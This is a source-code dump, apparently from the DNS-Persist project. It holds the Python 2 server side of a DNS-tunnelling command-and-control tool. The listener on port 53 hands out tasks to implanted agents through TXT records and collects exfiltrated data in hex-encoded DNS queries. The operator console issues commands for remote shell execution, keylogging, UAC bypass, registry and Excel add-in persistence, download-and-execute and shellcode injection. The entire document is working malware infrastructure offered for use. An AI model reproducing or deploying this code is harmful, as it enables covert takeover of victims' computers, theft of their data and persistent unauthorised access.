line . 54 | def do_sysinfo(self,s): 55 | sendTask(interactedAgent,"{SHELL}systeminfo") 56 | def do_bypassuac(self,s): 57 | sendTask(interactedAgent,"bypassuac") 58 | def do_keylog_start(self,s): 59 | sendTask(interactedAgent,"keylog_start") 60 | def do_keylog_stop(self,s): 61 | sendTask(interactedAgent,"keylog_stop") 62 | def do_keylog_dump(self,s): 63 | sendTask(interactedAgent,"keylog_dump") 64 | def do_exec(self,s): 65 | sendTask(interactedAgent,"{SHELL}%s" % s) 66 | def do_downloadexecute(self,s): 67 | sendTask(interactedAgent,"{DOWNLOAD}%s" % s) 68 | def do_persist(self,s): 69 | sendTask(interactedAgent,"persist") 70 | def do_back(self,s): 71 | interactedAgent = "" 72 | return True 73 | def emptyline(self): 74 | pass -------------------------------------------------------------------------------- /modules/DNSListener.py: -------------------------------------------------------------------------------- 1 | from dnslib import * 2 | import socket 3 | import time 4 | import threading 5 | import cmd 6 | 7 | 8 | interactedAgent = "" 9 | activeAgents = [] 10 | agentCommands = {} 11 | 12 | agentData = {} 13 | agentTimes = {} 14 | agentShellcode = {} 15 | 16 | persistenceMethods = {"runkey":1,"logonscript":2,"exceladdin":3} 17 | 18 | 19 | 20 | def sendTask(agent,command): 21 | agentCommands[agent].append([command,"WAITING"]) 22 | 23 | def addShellcode(agent,shellcodefile): 24 | # Error handling sucks will be improved in the future. 25 | try: 26 | f = open(shellcodefile,"r") 27 | shellcode = f.read() 28 | f.close() 29 | if(agentShellcode.has_key(agent)): 30 | print "[+] Replacing shellcode with the new one [+]" 31 | agentShellcode[agent] = "{!%s!}" % shellcode 32 | return True 33 | 34 | except Exception: 35 | print "[-] Shellcode file not found [-]" 36 | return False 37 | 38 | 39 | 40 | def getInteractedAgent(): 41 | global interactedAgent 42 | return interactedAgent 43 | 44 | def changeInteractedAgent(agent): 45 | global interactedAgent 46 | interactedAgent = agent 47 | 48 | 49 | class DNSListener(object): 50 | 51 | def __init__(self, host="127.0.0.1",port="53"): 52 | 53 | print "[+] Starting DNS Listener [+]" 54 | 55 | thread = threading.Thread(target=self.start_server, args=()) 56 | thread.daemon = True # This will become false 57 | thread.start() 58 | 59 | 60 | self.host = host 61 | self.port = port 62 | self.activeAgents = activeAgents 63 | 64 | def add_agent_times(self,agent): 65 | 66 | if(agentTimes.has_key(agent)): 67 | agentTimes[agent] = time.time() 68 | else: 69 | agentTimes.update({agent:time.time()}) 70 | 71 | 72 | def get_agent_shellcode(self,agent): 73 | chunk = 64 74 | 75 | if(agentShellcode.has_key(agent)): 76 | if(len(agentShellcode[agent])>chunk): 77 | data = agentShellcode[agent][:chunk] 78 | agentShellcode[agent] = agentShellcode[agent][chunk:] 79 | 80 | return data 81 | else: 82 | data = agentShellcode[agent] 83 | del agentShellcode[agent] 84 | 85 | return data 86 | 87 | return "!@!" 88 | 89 | 90 | 91 | def get_agent_command(self,agent): 92 | # This code will return the data of the agent 93 | if(agentCommands.has_key(agent)): 94 | number_of_commands = len(agentCommands[agent]) 95 | #print "Number of commands : %s" % number_of_commands 96 | if(number_of_commands>0): 97 | for command in agentCommands[agent]: 98 | #print command[1] 99 | if(command[1] == "WAITING"): 100 | command[1] = "DONE" 101 | return "CMD:%s" % (command[0]) 102 | 103 | return "There were no commands :)" 104 | else: 105 | return "No agent with this name" 106 | 107 | 108 | def agent_probe(self,agent): 109 | try: 110 | if(agentCommands.has_key(agent)): 111 | if(len(agentCommands[agent]) > 0): 112 | i = 0 113 | for command in agentCommands[agent]: 114 | if(command[1] == "WAITING"): 115 | i = i + 1 116 | if (i == 0): 117 | agentCommands[agent] = [] 118 | return "NR:%s" % i 119 | 120 | except Exception,e: 121 | print "Error: %s" % e 122 | pass 123 | 124 | return "There were no commands :(" 125 | 126 | def agent_receive_data(self,agent,response_data): 127 | global agentData 128 | 129 | if(not agentData.has_key(agent)): 130 | agentData.update({agent:""}) 131 | 132 | # Processing of the data 133 | # Add if it starts with {! and ends with !} is a small value 134 | 135 | if(response_data.decode('hex').startswith("{!")): 136 | agentData[agent] = response_data[4:] 137 | elif(response_data.decode('hex').endswith("!}")): 138 | agentData[agent] += response_data[:-4] 139 | print "\n[+] Data from agent: %s [+]" % agent 140 | print agentData[agent].decode('hex') 141 | agentData[agent] = "" 142 | 143 | else: 144 | agentData[agent] += response_data 145 | 146 | 147 | return "RESP:OK" 148 | 149 | 150 | 151 | 152 | def parse_request_packet(self, agent, packetType, response_data=""): 153 | # This code will have the logic that will make the response 154 | # and decide what to do with the request 155 | 156 | # THIS IS A VERY TERRIBLE IMPLEMENTATION LOL 157 | if(packetType == "PROBE"): 158 | return self.agent_probe(agent) 159 | elif(packetType == "CMD"): 160 | return self.get_agent_command(agent) 161 | elif(packetType == "SHL"): 162 | return self.get_agent_shellcode(agent) 163 | elif(packetType == "DATA" and response_data != ""): 164 | return self.agent_receive_data(agent,response_data) 165 | 166 | return "Agent: %s packet %s" % (agent,packetType) 167 | 168 | 169 | def parse_dns_request(self,data): 170 | # Parse DNS Requests 171 | request = DNSRecord.parse(data) 172 | 173 | qtype = QTYPE[request.q.qtype] 174 | 175 | if(str(qtype) == "PTR"): 176 | return "PTR",0,request 177 | 178 | if((len(request.q.qname.label) <= 1) or (str(qtype) != "TXT")): 179 | #print "[-] Invalid Packet Received [-]" 180 | return 0,0,0 181 | else: 182 | name = request.q.qname.label[0] 183 | domain = request.q.qname.label[1] 184 | return name, domain , request 185 | 186 | def get_dns_response(self,request,data): 187 | 188 | reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q) 189 | reply.add_answer(RR(request.q.qname, QTYPE.TXT, rdata=TXT(data))) 190 | return reply.pack() 191 | 192 | def get_dns_ptr_response(self,request): 193 | reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q) 194 | reply.add_answer(RR(request.q.qname, QTYPE.PTR, rdata=PTR("google-public-dns-b.google.com"))) 195 | return reply.pack() 196 | 197 | def get_dns_data(self,data): 198 | #to be implemented 199 | 200 | 201 | self.data = data 202 | packetType = data.split("-")[1] 203 | agent = data.split("-")[0] 204 | 205 | # Add times for the latest probe. 206 | 207 | self.add_agent_times(agent) 208 | 209 | if(agent not in activeAgents): 210 | activeAgents.append(agent) 211 | print "\n[+] Agent %s called back [+]" % (agent) 212 | if(not agentCommands.has_key(agent)): 213 | agentCommands.update({agent:[]}) 214 | # If there is no commands for agent replace them. 215 | if(len(data.split("-")) == 3 and packetType == "DATA"): 216 | response_data = data.split("-")[2] 217 | return self.parse_request_packet(agent,packetType,response_data) 218 | else: 219 | return self.parse_request_packet(agent,packetType) 220 | #return "packet type %s on agent %s" % (packetType, agent) 221 | 222 | def get_active_agents(self): 223 | return activeAgents 224 | 225 | def clear_agents(self): 226 | 227 | # This will clear agents that are in not active for at least 60 seconds 228 | while 1: 229 | time.sleep(5) 230 | for agent in activeAgents: 231 | if(agentTimes.has_key(agent)): 232 | if((time.time() - agentTimes[agent]) > 60): 233 | print "[-] Agent %s is offline [-]" % agent 234 | activeAgents.remove(agent) 235 | 236 | def start_server(self): 237 | 238 | # Create DNS Listener Socket 239 | self.dns_listener = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) 240 | self.dns_listener.bind((self.host,self.port)) 241 | 242 | # This will clear the active agents and notify when the agent are not online 243 | agentClearThread = threading.Thread(target=self.clear_agents, args=()) 244 | agentClearThread.daemon = True 245 | agentClearThread.start() 246 | 247 | while 1: 248 | 249 | 250 | data, address = self.dns_listener.recvfrom(1024) 251 | name, domain, request = self.parse_dns_request(data) 252 | if(name != 0 and domain !=0 and request !=0): 253 | #print name,domain 254 | #print "[+] Sending Response [+]" 255 | data = self.get_dns_data(name) 256 | reply = self.get_dns_response(request,data) 257 | self.dns_listener.sendto(reply,address) 258 | 259 | elif(name == "PTR"): 260 | # Send here PTR response 261 | reply = self.get_dns_ptr_response(request) 262 | self.dns_listener.sendto(reply,address) 263 | 264 | 265 | 266 | 267 | 268 | # This the input part of the CMD lop 269 | 270 | 271 | class Input(cmd.Cmd): 272 | 273 | AGENTS = activeAgents 274 | prompt = "DNS-C2 #> " 275 | def do_agents(self,s): 276 | self.list_agents() 277 | def do_interact(self,agent): 278 | self.AGENTS = activeAgents 279 | if(agent in self.AGENTS): 280 | print "[+] Interacting with : " + agent + " [+]" 281 | changeInteractedAgent(agent) 282 | agentInteraction = AgentCMD() 283 | agentInteraction.prompt = self.prompt + "(" + agent + "): " 284 | agentInteraction.cmdloop() 285 | else: 286 | print "[-] Agent not valid [-]" 287 | 288 | def complete_interact(self, text, line, begidx, endidx): 289 | if not text: 290 | completions = self.AGENTS[:] 291 | else: 292 | completions = [ f 293 | for f in self.AGENTS 294 | if f.startswith(text) 295 | ] 296 | return completions 297 | def do_quit(self,s): 298 | exit(0) 299 | def emptyline(self): 300 | pass 301 | def list_agents(self): 302 | if(len(activeAgents)>0): 303 | print "[+] Number of agents : %s [+]" % len(activeAgents) 304 | for agent in activeAgents: 305 | print agent 306 | else: 307 | print "[-] No active agents [-]" 308 | 309 | class AgentCMD(cmd.Cmd): 310 | 311 | # This is the Agent command line . 312 | def do_process_list(self,s): 313 | sendTask(interactedAgent,"PSL") 314 | def do_execute_shellcode(self,shellcodefile): 315 | if(addShellcode(interactedAgent,shellcodefile)): 316 | sendTask(interactedAgent,"INJ") 317 | def do_sysinfo(self,s): 318 | sendTask(interactedAgent,"SYS") 319 | def do_persist(self,s): 320 | if(persistenceMethods.has_key(s)): 321 | sendTask(interactedAgent,"PRT-%s" % persistenceMethods[s]) 322 | else: 323 | print "\n[-] Invalid persistence method [-]" 324 | print "\nPersistence methods: " 325 | for key,value in persistenceMethods.iteritems(): 326 | print "-> persist %s" % (key) 327 | print "\n" 328 | def do_shell(self,s): 329 | agent_shell = AgentShell() 330 | agent_shell.prompt = "SHELL #>(%s) " % interactedAgent 331 | agent_shell.cmdloop() 332 | 333 | def do_back(self,s): 334 | interactedAgent = "" 335 | return True 336 | def emptyline(self): 337 | pass 338 | 339 | class AgentShell(cmd.Cmd): 340 | 341 | def emptyline(self): 342 | pass 343 | 344 | def onecmd(self,s): 345 | if(s == "exit" or s == "quit" or s == "back"): 346 | return True 347 | elif(s is None or s == ""): 348 | pass 349 | else: 350 | sendTask(interactedAgent, "ECM-%s" % s) 351 | 352 | -------------------------------------------------------------------------------- /modules/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x09AL/DNS-Persist/085eb804de7ba79e9aa6f532d515ccea30d75269/modules/__init__.py -------------------------------------------------------------------------------- /server.py: -------------------------------------------------------------------------------- 1 | from modules import DNSListener 2 | from modules import AgentControllerCLI 3 | import threading 4 | 5 | 6 | 7 | banner = """ 8 | ____ _ _______ ____ _ __ 9 | / __ \/ | / / ___/ / __ \___ __________(_)____/ /_ 10 | / / / / |/ /\__ \______/ /_/ / _ \/ ___/ ___/ / ___/ __/ 11 | / /_/ / /| /___/ /_____/ ____/ __/ / (__ ) (__ ) /_ 12 | /_____/_/ |_//____/ /_/ \___/_/ /____/_/____/\__/ 13 | 14 | """ 15 | host = "0.0.0.0" 16 | port = 53 17 | 18 | print banner 19 | 20 | 21 | DNSObject = DNSListener.DNSListener(host,port) 22 | commandInputs = DNSListener.Input().cmdloop() --------------------------------------------------------------------------------